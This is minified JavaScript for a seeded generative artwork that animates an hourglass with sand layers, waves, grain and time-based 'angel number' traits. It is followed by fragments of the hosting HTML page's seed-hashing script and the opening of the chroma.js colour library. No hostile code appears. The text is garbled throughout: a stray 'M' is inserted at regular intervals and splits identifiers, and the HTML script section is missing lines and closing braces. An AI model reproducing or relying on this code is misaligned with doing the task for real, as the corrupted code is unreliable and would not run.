?this.num_waves=30:this.num_waves=20,this.drawPattern(e,this.patternOrder[0])):2==i?(this.patternOrder[0]+this.patternOrder[1]==3?this.num_waves=10:this.patternOrder[0]+this.patternOrder[1]==7?this.num_waves=20:this.num_waves=15,this.drawPattern(e,this.patternOrder[0]),this.drawPattern(e,this.patternOrder[1])):3==i?(this.num_waves=10,this.drawPattern(e,this.patternOrder[0]),this.drawPattern(e,this.patternOrder[1]),this.drawPattern(e,this.patternOrder[2])):(this.num_waves=10,this.drawPattern(e,this.patternOrder[0]),M
this.drawPattern(e,this.patternOrder[1]),this.drawPattern(e,this.patternOrder[2]),this.drawPattern(e,this.patternOrder[3]));let{h:n,xspacing:o,thickness:l,num_lines:d,theta:m,velocity:p,sz:g}=this.dynamicWave,c=Color.getSandColorByIndex(0,this._h,this._s,this._l).luminance(.5);1==this.patternOrder[0]?this.drawHorWave(e,n,o*width/1024,l*height/1024,d,m,p,g,c):2==this.patternOrder[0]?this.drawVerWave(e,n,o*height/1024,l*width/1024,d,m,p,g,c):3==this.patternOrder[0]?(e.push(),e.translate(width/2,height/2),e.rotate(PI/M
4),e.translate(-this.diagonal/2,-this.ty),this.drawDiaWave(e,n,o*this.maxR,l*this.maxR,d,m,p,g,c,PI/4),e.pop()):4==this.patternOrder[0]&&(e.push(),e.translate(width/2,height/2),e.rotate(3*PI/4),e.translate(-this.diagonal/2,-this.ty),this.drawDiaWave(e,n,o*this.maxR,l*this.maxR,d,m,p,g,c,3*PI/4),e.pop())}}class GrainRenderer{static texture;static deltaX;static deltaY;static maxDelta=100;static wCanvas;static hCanvas;static setup(e,t){GrainRenderer.wCanvas=e+GrainRenderer.maxDelta,GrainRenderer.hCanvas=t+GrainRendereM
r.maxDelta,GrainRenderer.deltaX=random(-GrainRenderer.maxDelta,0),GrainRenderer.deltaY=random(-GrainRenderer.maxDelta,0),GrainRenderer.texture=createImage(GrainRenderer.wCanvas,GrainRenderer.hCanvas),GrainRenderer.texture.loadPixels();let i=GrainRenderer.texture.pixelDensity();for(let e=0;e<GrainRenderer.wCanvas;e++)for(let t=0;t<GrainRenderer.hCanvas;t++){let s=216.75,a=255,r=random(s,a),h=random(s,a),n=random(s,a);for(let s=0;s<i;s++)for(let a=0;a<i;a++){let o=4*((t*i+a)*GrainRenderer.wCanvas*i+(e*i+s));GrainRendM
erer.texture.pixels[o]=r,GrainRenderer.texture.pixels[o+1]=h,GrainRenderer.texture.pixels[o+2]=n,GrainRenderer.texture.pixels[o+3]=255}}GrainRenderer.texture.updatePixels()}static applyGrain(e,t){let i=!!t&&{atFrame:1};e.textureOverlay(GrainRenderer.texture,{mode:BURN,animate:i})}static applyGrainToMainCanvas(e){blendMode(BURN),e&&(GrainRenderer.deltaX=random(-GrainRenderer.maxDelta,0),GrainRenderer.deltaY=random(-GrainRenderer.maxDelta,0)),image(GrainRenderer.texture,GrainRenderer.deltaX,GrainRenderer.deltaY)}}conM
st HourglassSize={SMALL:"SMALL",MEDIUM:"MEDIUM",LARGE:"LARGE"};class HourglassRenderer{constructor(e,t,i){this.nLayer=10,this.wCanvas=e.width,this.hCanvas=e.height,this.hourglassSize=t.hourglassSize,this.poly=t.poly,this.evolvePeriod=t.evolvePeriod,this.xc=this.wCanvas/2,this.yc=this.hCanvas/2,this.x1=this.xc+random(100,300),this.y1=this.yc+random(100,300),this.x2=this.xc+random(100,300),this.y2=this.yc+random(100,300),this.x1m=this.wCanvas-this.x1,this.y1m=this.y1,this.maxR=min(this.wCanvas,this.hCanvas)/2,1==thisM
.poly?this.mainRadius=.1*this.maxR*4:this.mainRadius=.1*this.maxR*getRandomInt(1,6),i.registerIterationChangeEvent(this.onIterationChange.bind(this));let s=i.getCurrentIteration();this.onIterationChange(s),this.topline=this.polygon(this.xc,this.yc,this.poly,PI),this.bottomline=this.polygon(this.xc,this.yc,this.poly,0),this.sandRects=[Geometry.getBoundingBox(this.topline),Geometry.getBoundingBox(this.bottomline)],this.excitement=.15*max(this.sandRects[0][2],this.sandRects[0][3]),this.dx=[],this.dy=[];for(let e=0;e<2M
*this.nLayer;++e)this.dx[e]=random(-this.excitement,this.excitement),this.dy[e]=random(-this.excitement,this.excitement);this.curSecond=(new Date).getSeconds(),this.rotateAngle=0}onIterationChange(e){randomSeed(100*e+2),this.startAngle=this.getStartAngle(),this.radiuses=this.getRadiuses()}getIteration(e){let t,i=e.getTime()-60*e.getTimezoneOffset()*1e3;return this.evolvePeriod==EvolvePeriod.HOURLY?t=floor(i/36e5):this.evolvePeriod==EvolvePeriod.DAILY?t=floor(i/864e5):this.evolvePeriod==EvolvePeriod.MONTHLY&&(t=12*(M
e.getFullYear()-1970)+e.getMonth()),t}getStartAngle(){let e=getRandomInt(1,6);return PI/(2.5+.5*e)}getRadiuses(){let e,t;this.hourglassSize==HourglassSize.MEDIUM?(e=.45*this.maxR,t=.55*this.maxR):this.hourglassSize==HourglassSize.LARGE&&(e=.6*this.maxR,t=.7*this.maxR);let i=[];for(let s=0;s<this.poly;s++){let a;a=0==s?e:random(e,t),i.push(a)}return i}update(e,t){if(e.getSeconds()!=this.curSecond){this.curSecond=e.getSeconds(),this.secondTicked=!0,this.rotateAngle+=PI/30;for(let e=0;e<2*this.nLayer;++e)this.dx[e]=raM
ndom(-this.excitement,this.excitement),this.dy[e]=random(-this.excitement,this.excitement)}else this.secondTicked=!1;this.topline=this.polygon(this.xc,this.yc,this.poly,PI+t),this.bottomline=this.polygon(this.xc,this.yc,this.poly,t),this.sandRects=[Geometry.getBoundingBox(this.topline),Geometry.getBoundingBox(this.bottomline)],this.time=e,this.rotation=t}draw(e,t,i){let s=i.luminance(.3);e.fill(255,255,255,255),e.blendMode(REMOVE),e.rect(0,0,this.wCanvas,this.hCanvas),e.blendMode(BLEND),0==t?this.drawShadowNormal(eM
,s,this.time):1==t&&this.drawShadowCircle(e,s),e.fill(255,255,255,255),e.blendMode(REMOVE),this.drawShape(e,this.topline),this.drawShape(e,this.bottomline),e.blendMode(BLEND)}drawShadowNormal(e,t,i){let s=floor(i.getMinutes()/10),a=i.getMinutes()%10;e.push(),e.noFill(),e.strokeWeight(.005*this.maxR);for(let i=0;i<s;i++){let a=map(i,s,0,.2,.5),r=color(...Color.chromaToArray(t.alpha(a)));e.stroke(r),this.getAndDrawPolygon(e,this.xc+this.dx[2*i],this.yc+this.dy[2*i],this.poly,PI)}for(let i=0;i<a;i++){let s=map(i,a,0,.M
2,.5),r=color(...Color.chromaToArray(t.alpha(s)));e.stroke(r),this.getAndDrawPolygon(e,this.xc+this.dx[2*i+1],this.yc+this.dy[2*i+1],this.poly,0)}e.pop()}drawShadowCircle(e,t){e.push(),e.noStroke(),e.translate(this.xc,this.yc),e.rotate(PI+this.rotateAngle);for(let i=0;i<3;i++){let s=map(i,3,0,.2,.5),a=color(...Color.chromaToArray(t.alpha(s)));e.fill(a),this.getAndDrawPolygon(e,0,2.5*this.mainRadius,this.poly,PI),this.getAndDrawPolygon(e,0,2.5*-this.mainRadius,this.poly,0),e.rotate(PI/3)}e.pop(),e.push(),e.noFill(),M
e.strokeWeight(2),e.translate(this.xc,this.yc),e.rotate(-this.rotateAngle+PI/30);for(let i=0;i<3;i++){let s=map(i,3,0,.2,.5),a=color(...Color.chromaToArray(t.alpha(s)));e.stroke(a),this.getAndDrawPolygon(e,0,-this.mainRadius/2,this.poly,PI),this.getAndDrawPolygon(e,0,this.mainRadius/2,this.poly,0),e.rotate(-PI/3)}e.pop()}getAndDrawPolygon(e,t,i,s,a){let r=this.polygon(t,i,s,a);this.drawShape(e,r)}drawShape(e,t){e.beginShape();for(let i=0;i<t.length;i++)e.vertex(t[i].x,t[i].y);e.endShape(e.CLOSE)}polygon(e,t,i,s){leM
t a=(PI/2-this.startAngle)/i,r=0,h=[];h.push({x:e,y:t});let n=this.startAngle+s;for(let s=0;s<i;s++){let i=this.radiuses[r];r+=1;let s=e+cos(n)*i,o=t+sin(n)*i;h.push({x:s,y:o}),n+=a}r=this.poly,n=PI/2+a+s;for(let s=0;s<i;s++){r-=1;let i=this.radiuses[r],s=e+cos(n)*i,o=t+sin(n)*i;h.push({x:s,y:o}),n+=a}return h=h.filter((e=>!isNaN(e.x)&&!isNaN(e.y))),h}getSandRects=()=>this.sandRects;getTopLine=()=>this.topline;getBottomLine=()=>this.bottomline;getSecondTicked=()=>this.secondTicked}const WavePeriod={SHORT:"SHORT",MEM
DIUM:"MEDIUM",LONG:"LONG"},WaveHeight={SHORT:"SHORT",MEDIUM:"MEDIUM",TALL:"TALL"},WaveSpeed={SLOW:"SLOW",MEDIUM:"MEDIUM",FAST:"FAST"};class SandRenderer{static N_CURVE_POINT=50;static DROPDOWN_TIME=3;constructor(e,t,i,s,a,r,h,n){this.wCanvas=e.width,this.hCanvas=e.height,this.hInit=t,this.baseLine=this.transformCoord(i),this.baseH=s,this.baseS=a,this.baseL=r,this.curSecond=0,this.waveHeight=h.waveHeight,this.wavePeriod=h.wavePeriod,this.waveSpeed=h.waveSpeed,this.evolvePeriod=h.evolvePeriod,this.nSandLayer=6,this.lM
ayers=this.getLayers(),this._h=this.baseH,this._s=this.baseS,this._l=this.baseL,this.prevIteration=null,n.registerIterationChangeEvent(this.onIterationChange.bind(this));let o=n.getCurrentIteration();this.onIterationChange(o)}onIterationChange(e){null==this.prevIteration?this._h=this.getHue(this.baseH,0,e):this._h=this.getHue(this._h,this.prevIteration,e),this.prevIteration=e}getHue(e,t,i){let s=min(t,i),a=max(t,i);for(let r=s;r<a;r++){randomSeed(100*r+3);let s=random(1);if(this.evolvePeriod==EvolvePeriod.HOURLY?s=M
map(s,0,1,5,10):this.evolvePeriod==EvolvePeriod.DAILY?s=map(s,0,1,10,30):this.evolvePeriod==EvolvePeriod.MONTHLY&&(s=map(s,0,1,50,100)),i>t)for(e+=s;e>360;)e-=360;else for(e-=s;e<0;)e+=360}return e}update(e){this.time=e}getChroma(){return Color.getSandColorByIndex(0,this._h,this._s,this._l)}getBaseHSL(){return{h:this._h,s:this._s,l:this._l}}draw(e,t,i,s,a){this.nLayer=(this.time.getHours()+11)%12+1,t=this.transformCoord(t),e.background(0);let r=this.getChroma().luminance(.5).alpha(.25);e.background(color(...Color.cM
hromaToArray(r))),e.strokeWeight(1),this.layers.forEach((e=>{if(0==e.id)e.c=Color.getSandColorByIndex(e.id,this._h,this._s,this._l).luminance(.2).alpha(1);else{let t=map(e.id/this.nSandLayer,0,1,.5,.8);e.c=Color.getSandColorByIndex(e.id,this._h,this._s,this._l).alpha(t)}let s=map(i,0,1,e.baselineY,this.hInit),a=max(0,map(s,this.hInit,0,0,1)),r=Geometry.getPolyArea(t)*a;e.y=Geometry.getYByAreaBelow(t,r),e.y=map(e.y,0,this.hInit,.05*-this.hCanvas,this.hInit+.05*this.hCanvas)})),this.layers.forEach((i=>{s&&2*i.id<thisM
.nLayer&&this.drawDropdown(e,t,i,a)})),this.layers.forEach((t=>this.drawLayer(e,t)));let h=!1;this.time.getSeconds()!=this.curSecond&&(this.curSecond=this.time.getSeconds(),h=!0),GraphicUtils.applyMask(e,t)}transformCoord(e){let[t,i,s,a]=Geometry.getBoundingBox(e),r=t+s,h=i+a;return e.map((e=>{let n=map(e.x,t,r,-s/2,s/2)+this.wCanvas/2,o=map(e.y,i,h,0,a);return createVector(n,o)}))}getLayers(){let e=[];for(let t=0;t<this.nSandLayer;t++){let i,s=this.hInit/this.nSandLayer*t;this.waveSpeed==WaveSpeed.SLOW?i=random(.0M
08,.012):this.waveSpeed==WaveSpeed.MEDIUM?i=random(.016,.024):this.waveSpeed==WaveSpeed.FAST&&(i=random(.032,.048));let a,r,h=random(1e4);this.wavePeriod==WavePeriod.SHORT?a=random(2.7,3):this.wavePeriod==WavePeriod.MEDIUM?a=random(1.8,2):this.wavePeriod==WavePeriod.LONG&&(a=random(1.2,1.3)),this.waveHeight==WaveHeight.SHORT?r=this.hCanvas/30:this.waveHeight==WaveHeight.MEDIUM?r=this.hCanvas/24:this.waveHeight==WaveHeight.TALL&&(r=this.hCanvas/18);let n={mode:"DELTA_Y",deltaY:(e,t)=>map(sin(e*a*TAU+t*i+h),-1,1,-r,rM
)};e.push({id:t,baselineY:s,height:r,speed:i,seed:h,shape:n,stripe:{distance:random(.04*this.hInit,.08*this.hInit),height:random(.02*this.hInit,.04*this.hInit),stretch:random(1.2,1.5),colorTransform:e=>e.brighten(1.2)}})}return e}drawDropdown=(e,t,i,s)=>{let{c:a,shape:r}=i,h=Geometry.getBoundingBox(t)[3],n=this.time.getTime()/(1e3/60),o=createVector(this.wCanvas/2,0),l=createVector(this.wCanvas/2,h),d=[];for(let e=0;e<50;e++){let t=e/49,i=o.copy(),{x:s,y:a}=Vector.lerp(i,l,t);s+=r.deltaY(t,-n/5)*map(e,0,50,.1,1.5),M
d.push(createVector(s,a))}let m=map(s,0,SandRenderer.DROPDOWN_TIME,0,50);m=min(m,50),e.push(),e.noStroke(),e.fill(color(...Color.chromaToArray(a)));for(let t=0;t<m;t++)e.square(d[t].x,d[t].y,.004*this.hCanvas);e.pop()};drawLayer=(e,t)=>{if(2*t.id<this.nLayer){let i=this.getLayerPointline(t);this.drawWave(e,i,t),this.drawPattern(e,i,t,this.hCanvas/8,this.hCanvas/60),2*t.id+1<this.nLayer&&this.drawStripe(e,i,t)}};getLayerPointline=e=>{let{y:t,shape:i}=e,s=[],a=this.time.getTime()/(1e3/60);if("DELTA_Y"==i.mode){let e=M
createVector(0,t),r=createVector(this.wCanvas,t);for(let t=0;t<SandRenderer.N_CURVE_POINT;t++){let h=t/(SandRenderer.N_CURVE_POINT-1),n=e.copy(),{x:o,y:l}=Vector.lerp(n,r,h);l+=i.deltaY(h,a/5),s.push(createVector(o,l))}}else s=[start,end];return s};drawWave=(e,t,i)=>{let{c:s}=i;e.noStroke(),e.fill(color(...Color.chromaToArray(s))),e.beginShape(),e.vertex(0,this.hCanvas);for(let i=0;i<t.length;i++)e.vertex(t[i].x,t[i].y);e.vertex(this.wCanvas,this.hCanvas),e.endShape()};drawPattern=(e,t,i,s,a)=>{e.noStroke();for(letM
 i=a;i<=s;i+=a){let a=map((i-1)/(s-1),0,1,.2,0);e.fill(0,255*a),e.beginShape();for(let s=0;s<t.length;s++)e.vertex(t[s].x,t[s].y+i);for(let s=t.length-1;s>=0;s--)e.vertex(t[s].x,t[s].y+(i-1));e.endShape()}};drawStripe=(e,t,i)=>{let{c:s,stripe:{distance:a,height:r,stretch:h,colorTransform:n}}=i;e.noStroke();let o=n(s),l=color(...Color.chromaToArray(o)),d=s.alpha();l.setAlpha(255*d),e.fill(l),e.beginShape();for(let i=0;i<t.length;i++)e.vertex(t[i].x*h,t[i].y+a);for(let i=t.length-1;i>=0;i--)e.vertex(t[i].x*h,t[i].y+aM
+r);e.endShape()}}new Q5("global");let wCanvas,hCanvas,canvas,timeController,hourglass,layerBackground,layerSandTop,layerSandBottom,layerHourglass,renBackground,renSandTop,renSandBottom,renHourglass,renPostProcessing,traits,prevSpeed,showMode,currentTime,maxFps=60;setup=()=>{setupRandom(),setupTraits(),setupSketch()},setupRandom=()=>{let e=p5seed;randomSeed(e),noiseSeed(e)},setupTraits=()=>{let e=getRandomInt(1,10),t=getRandomItem([[HourglassSize.MEDIUM,70],[HourglassSize.LARGE,30]]),i=getRandomItem([[WaveHeight.SHM
ORT,1],[WaveHeight.MEDIUM,1],[WaveHeight.TALL,1]]),s=getRandomItem([[WavePeriod.SHORT,1],[WavePeriod.MEDIUM,1],[WavePeriod.LONG,1]]),a=getRandomItem([[WaveSpeed.SLOW,1],[WaveSpeed.MEDIUM,1],[WaveSpeed.FAST,1]]),r=getRandomItem([[EvolvePeriod.HOURLY,60],[EvolvePeriod.DAILY,35],[EvolvePeriod.MONTHLY,5]]),h=getRandomItem([[1,5],[2,20],[3,50],[4,20],[5,5]]),n=getPatternOrder(),o=getRandomItem(AngelNumber.map((e=>[e[0],1]))),l=getRandomItem(BlissLimit.map((e=>[e[0],e[2]])));traits={waveHeight:i,wavePeriod:s,waveSpeed:a,M
evolvePeriod:r,color:e,hourglassSize:t,poly:h,patternOrder:n,angelNumber:o,blissLimit:l},console.log(traits)},getPatternOrder=()=>{let e=[],t=[1,2,3,4],i=getRandomItem([[1,.6],[2,.1],[3,.15],[4,.15]]);e.push(i),patternChosen=t.indexOf(i),x=t.splice(patternChosen,1);for(let s=0;s<3;s++)i=random(t),e.push(i),patternChosen=t.indexOf(i),x=t.splice(patternChosen,1);return e},setupSketch=()=>{frameRate(maxFps),frameCount=0,wCanvas=windowWidth,hCanvas=windowHeight,canvas=createCanvas(wCanvas,hCanvas),showMode=0,timeControM
ller=new TimeController(traits),hourglass=new Hourglass(traits,timeController);let e=getRandomInt(0,361),t=getRandomInt(30,101),i=getRandomInt(50,101);Color.setColorMode(traits.color),layerBackground=createGraphics(wCanvas,hCanvas),renBackground=new BackgroundRenderer(layerBackground,e,t,i,traits,timeController),layerHourglass=createGraphics(wCanvas,hCanvas),renHourglass=new HourglassRenderer(layerHourglass,traits,timeController);let s=renHourglass.getSandRects(wCanvas,hCanvas),a=renHourglass.getTopLine(),r=renHourM
glass.getBottomLine(),h=createVector(s[0][2],s[0][3]).mag();layerSandTop=createGraphics(h,h),layerSandBottom=createGraphics(h,h),renSandTop=new SandRenderer(layerSandTop,s[0][3],a,e,t,i,traits,timeController),renSandBottom=new SandRenderer(layerSandBottom,s[0][3],r,e,t,i,traits,timeController),imgSandTop=createGraphics(wCanvas,hCanvas),imgSandBottom=createGraphics(wCanvas,hCanvas),renPostProcessing=new PostProcessing(wCanvas,hCanvas,traits),GrainRenderer.setup(wCanvas,hCanvas),prevSpeed=1},draw=()=>{let e=0==showMoM
de||1==showMode,t=0==showMode||2==showMode,{time:i,state:s,speed:a,paused:r,isLive:h,realDelta:n}=timeController.step();hourglass.update(i),renSandTop.update(i),renSandBottom.update(i),renBackground.update(i);let o=4==s?1:0,{top:l,rotation:d,flipped:m,timeSinceRotation:p}=hourglass.getState();renHourglass.update(i,d);let g=renSandTop.getChroma(),c=renSandTop.getBaseHSL();if(background(255),renBackground.draw(layerBackground,i,s,c,e),image(layerBackground,0,0),t){let e=renHourglass.getSandRects();renHourglass.draw(lM
ayerHourglass,o,g),renSandTop.draw(layerSandTop,renHourglass.getTopLine(),1-l,!m,p),renSandBottom.draw(layerSandBottom,renHourglass.getBottomLine(),l,m,p),image(layerSandTop,...e[0],(layerSandTop.width-e[0][2])/2,0,e[0][2],e[0][3]),image(layerSandBottom,...e[1],(layerSandBottom.width-e[1][2])/2,0,e[1][2],e[1][3]),image(layerHourglass,0,0)}let u=renHourglass.getSecondTicked();GrainRenderer.applyGrainToMainCanvas(u),renPostProcessing.updateFilter(a,r,h),prevSpeed=a,renPostProcessing.applyToMainCanvas(),currentTime=i}M
,keyPressed=()=>{"+"!=key&&"="!=key||timeController.setFasterSpeed(),"-"==key&&timeController.setSlowerSpeed(),keyCode==LEFT_ARROW&&timeController.jumpBackward(),keyCode==RIGHT_ARROW&&timeController.jumpForward(),keyCode==ESCAPE&&timeController.resumeLive()," "==key&&timeController.togglePause(),"T"!=key&&"t"!=key||(showMode=(showMode+1)%3),"S"!=key&&"s"!=key||saveCanvasAtCurrentTime()},saveCanvasAtCurrentTime=()=>{let e=60*new Date(currentTime).getTimezoneOffset()*1e3,t=new Date(currentTime-e).toISOString().slice(M
0,-1);save(t+".png")};const EvolvePeriod={HOURLY:"HOURLY",DAILY:"DAILY",MONTHLY:"MONTHLY"},AngelNumber=[["11/111/1111",["1:1","1:11","11:1","11:11"],["1/1","11/1","1/11","11/11"]],["22/222/2222",["2:2","2:22","22:2","22:22"],["2/2","22/2"]],["33/333/3333",["3:3","3:33"],["3/3"]],["44/444/4444",["4:4","4:44"],["4/4"]],["55/555/555",["5:5","5:55"],["5/5"]],["66/666/6666",["6:6"],["6/6"]],["77/777/7777",["7:7"],["7/7"]],["88/888/8888",["8:8"],["8/8"]],["99/999/9999",["9:9"],["9/9"]],["1212",["12:12"],["12/12"]],["399/M
339",["3:39"],["3/3","9/3","3/9","9/9"]],["83/8833",["8:3"],["8/3","3/8"]],["72/7722",["7:2"],["7/2","2/7"]],["633/6363",["6:3","6:33"],["6/3","3/6"]],["588",["5:8","8:58"],["8/5","5/8","8/8"]],["446/4646",["4:6","4:46"],["4/4","6/4","4/6"]],["000",[],[]],["1010",["10:10"],["10/10"]],["1017",["10:17","17:10"],["17/10"]],["1022",["10:22","22:10"],["22/10"]],["1313",["13:13"],["1/3","3/1"]],["1444",["14:44"],["4/1","1/4","4/4"]],["2020",["20:20"],["2/2"]]],BlissLimit=[["Forever",-1,3],["2",2,40],["5",5,30],["10",10,2M
0],["20",20,7]];class TimeController{constructor(e){this.speeds=[-3600,-60,-10,-3,1,3,10,60,3600],this.defaultSpeedLevel=4,this.evolvePeriod=e.evolvePeriod,this.angelNumber=e.angelNumber,this.blissLimit=e.blissLimit,this.timestamp=Date.now(),this.prevRealTimestamp=this.timestamp,this.paused=!1,this.speedLevel=this.defaultSpeedLevel;let t=new Date(this.timestamp);this.iteration=this.getIteration(t),this.prevBliss=this.getPrevBliss(t,1),this.iterationChangeHandlers=[]}getCurrentIteration=()=>this.iteration;getIteratiM
on(e){let t,i=e.getTime()-60*e.getTimezoneOffset()*1e3;return this.evolvePeriod==EvolvePeriod.HOURLY?t=floor(i/36e5):this.evolvePeriod==EvolvePeriod.DAILY?t=floor(i/864e5):this.evolvePeriod==EvolvePeriod.MONTHLY&&(t=12*(e.getFullYear()-1970)+e.getMonth()),t}registerIterationChangeEvent(e){this.iterationChangeHandlers.push(e)}unregisterIterationChangeEvent(e){this.iterationChangeHandlers=this.iterationChangeHandlers.filter((t=>t!=e))}step(){let e=Date.now(),t=e-this.prevRealTimestamp,i=this.speeds[this.speedLevel],sM
=this.paused?0:i;this.timestamp+=t*s,this.timestamp=this.limitTimestamp(this.timestamp);let a=new Date(this.timestamp),r=this.getStateFromTime(a);this.updateIteration(a),this.prevRealTimestamp=e;let h=this.timestamp==e;return{time:a,state:r,speed:i,paused:this.paused,isLive:h,realDelta:t}}updateIteration(e){let t=this.getIteration(e);t!=this.iteration&&(this.iterationChangeHandlers.forEach((e=>e(t))),this.iteration=t)}getStateFromTime(e){let t,i,s=e.getHours(),a=e.getMinutes(),r=e.getDate(),h=e.getMonth()+1;if("000M
"==this.angelNumber)i=0==s&&0==a,t=i&&1==r&&1==h;else{let e=`${s}:${a}`,n=`${h}/${r}`,o=AngelNumber.filter((e=>e[0]==this.angelNumber))[0];i=o[1].includes(e),t=o[2].includes(n)}return i&&t?4:t?3:i?2:1}limitTimestamp(e){let t=BlissLimit.filter((e=>e[0]==this.blissLimit))[0][1],i=Date.now(),s=this.getPrevBliss(new Date,t);return e>i?(e=i,this.resetSpeed()):e<s&&(e=s,this.resetSpeed()),e}getPrevBliss(e,t){if(-1==t)return 0;let i=e.getTime()-e.getMilliseconds()-1e3*e.getSeconds();for(;t>0;){i-=6e4;let e=this.getStateFrM
omTime(new Date(i));2!=e&&4!=e||(t-=1)}return i}getNextBliss(e,t){if(-1==t)return Date.now();let i=e.getTime()-e.getMilliseconds()-1e3*e.getSeconds();for(;t>0;){i+=6e4;let e=this.getStateFromTime(new Date(i));2!=e&&4!=e||(t-=1)}return i}togglePause(){this.paused=!this.paused}setFasterSpeed(){this.speedLevel=min(this.speedLevel+1,this.speeds.length-1),this.paused=!1}setSlowerSpeed(){this.speedLevel=max(this.speedLevel-1,0),this.paused=!1}jumpForward(){let e=new Date(this.timestamp);this.timestamp=this.getNextBliss(eM
,1),this.timestamp=this.limitTimestamp(this.timestamp),this.resetSpeed()}jumpBackward(){let e=new Date(this.timestamp);this.timestamp=this.getPrevBliss(e,1),this.timestamp=this.limitTimestamp(this.timestamp),this.resetSpeed()}resetSpeed(){this.speedLevel=this.defaultSpeedLevel,this.paused=!1}resumeLive(){this.timestamp=Date.now(),this.resetSpeed()}}
text/html;charset=utf-8
      display: block;
    <meta charset="utf-8" />
    let seed=window.location.href.split('/').find(t=>t.includes('i0'));
    if (seed == null) {
      seed = new URLSearchParams(window.location.search).get("seed");
      let pattern = "seed=";
      for(let i = 0; i < seed.length - pattern.length; M
        if (seed.substring(i, i + pattern.length) == pattern) {
          seed = seed.substring(i + pattern.length);
    function cyrb128($) {
      let _ = 1779033703, u = 3144134277, i = 1013904242, l = 2773480762;
      for (let n = 0, r; n < $.length; n++) _ = u ^ Math.imul(_ ^ (r = $.charCodeAt(n)), 597399067), u = i ^ Math.imul(u ^ r, 2869860233), i = l ^ Math.imul(i ^ r, 951274213), l = _ ^ Math.imul(l ^ r, 2716044179);
      return _ = Math.imul(i ^ _ >>> 18,M
 597399067), u = Math.imul(l ^ u >>> 22, 2869860233), i = Math.imul(_ ^ i >>> 17, 951274213), l = Math.imul(u ^ l >>> 19, 2716044179), [(_ ^ u ^ i ^ l) >>> 0, (u ^ _) >>> 0, (i ^ _) >>> 0, (l ^ _) >>> 0]
    function sfc32($, _, u, i) {
      return function () {
        u >>>= 0, i >>>= 0;
        var l = ($ >>>= 0) + (_ >>>= 0) | 0;
        return $ = _ ^ _ >>> 9, _ = u + (u << 3) | 0, u = (u = u << 21 | u >>> 11) + (l = l + (i = i + 1 | 0) | 0) | 0, (l >>> 0) / 4294967296
 sfc32(...cyrb128(seed));
    let p5seed = Math.floor(mathRand() * Number.MAX_SAFE_INTEGER);
!function(r,e){"object"==typeof exports&&"undefined"!=typeof module?module.exports=e():"function"==typeof define&&define.amd?define(e):(r="undefined"!=typeof globalThis?globalThis:r||self).chroma=e()}(this,function(){"use strict";for(var r=function(r,e,t){return void 0===e&&(e=0),void 0===t&&(t=1),r<e?e:r>t?t:r},e=r,t={},n=0,a=["Boolean","Number","String","Function","Array","Date","RegExp","Undefined","Null"];n<a.length;nM
+=1){var f=a[n];t["[object "+f+"]"]=f.toLowerCase()}var o=function(r){return t[Object.prototype.toString.call(r)]||"object"},c=o,u=o,i=Math.PI,l={clip_rgb:function(r){r._clipped=!1,r._unclipped=r.slice(0);for(var t=0;t<=3;t++)t<3?((r[t]<0||r[t]>255)&&(r._clipped=!0),r[t]=e(r[t],0,255)):3===t&&(r[t]=e(r[t],0,1));return r},limit:r,type:o,unpack:function(r,e){return void 0===e&&(e=null),r.length>=3?Array.prototype.slice.call(r):"object"==c(r[0])&&e?e.split("").filter(function(e){return void 0!==r[0][e]}).map(function(M
e){return r[0][e]}):r[0]},last:function(r){if(r.length<2)return null;var e=r.length-1;return"string"==u(r[e])?r[e].toLowerCase():null},PI:i,TWOPI:2*i,PITHIRD:i/3,DEG2RAD:i/180,RAD2DEG:180/i},d={format:{},autodetect:[]},h=l.last,b=l.clip_rgb,s=l.type,p=d,g=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if("object"===s(r[0])&&r[0].constructor&&r[0].constructor===this.constructor)return r[0];var t=h(r),n=!1;if(!t){n=!0,p.sorted||(p.autodetect=p.autodetect.sort(function(r,e){return e.p-r.p}),p.sortedM
=!0);for(var a=0,f=p.autodetect;a<f.length;a+=1){var o=f[a];if(t=o.test.apply(o,r))break}}if(!p.format[t])throw new Error("unknown format: "+r);var c=p.format[t].apply(null,n?r:r.slice(0,-1));this._rgb=b(c),3===this._rgb.length&&this._rgb.push(1)};g.prototype.toString=function(){return"function"==s(this.hex)?this.hex():"["+this._rgb.join(",")+"]"};var v=g,y=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(y.Color,[null].concat(r)))};y.Color=v,y.version="2.4.M
2";var m=y,k=l.unpack,w=Math.max,M=l.unpack,_=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=(r=M(r,"cmyk"))[0],n=r[1],a=r[2],f=r[3],o=r.length>4?r[4]:1;return 1===f?[0,0,0,o]:[t>=1?0:255*(1-t)*(1-f),n>=1?0:255*(1-n)*(1-f),a>=1?0:255*(1-a)*(1-f),o]},N=m,F=v,x=d,P=l.unpack,R=l.type,G=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=k(r,"rgb"),n=t[0],a=t[1],f=t[2],o=1-w(n/=255,w(a/=255,f/=255)),c=o<1?1/(1-o):0;return[(1-n-o)*c,(1-a-o)*c,(1-f-o)*c,o]};F.prototype.cmyk=fuM
nction(){return G(this._rgb)},N.cmyk=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(F,[null].concat(r,["cmyk"])))},x.format.cmyk=_,x.autodetect.push({p:2,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=P(r,"cmyk"),"array"===R(r)&&4===r.length)return"cmyk"}});var j=l.unpack,E=l.last,O=function(r){return Math.round(100*r)/100},q=l.unpack,B=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=(r=q(r,"rgba"))[0],nM
=r[1],a=r[2];t/=255,n/=255,a/=255;var f,o,c=Math.min(t,n,a),u=Math.max(t,n,a),i=(u+c)/2;return u===c?(f=0,o=Number.NaN):f=i<.5?(u-c)/(u+c):(u-c)/(2-u-c),t==u?o=(n-a)/(u-c):n==u?o=2+(a-t)/(u-c):a==u&&(o=4+(t-n)/(u-c)),(o*=60)<0&&(o+=360),r.length>3&&void 0!==r[3]?[o,f,i,r[3]]:[o,f,i]},I=l.unpack,A=l.last,D=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=j(r,"hsla"),n=E(r)||"lsa";return t[0]=O(t[0]||0),t[1]=O(100*t[1])+"%",t[2]=O(100*t[2])+"%","hsla"===n||t.length>3&&t[3]<1?(t[3]=t.length>3?t[M
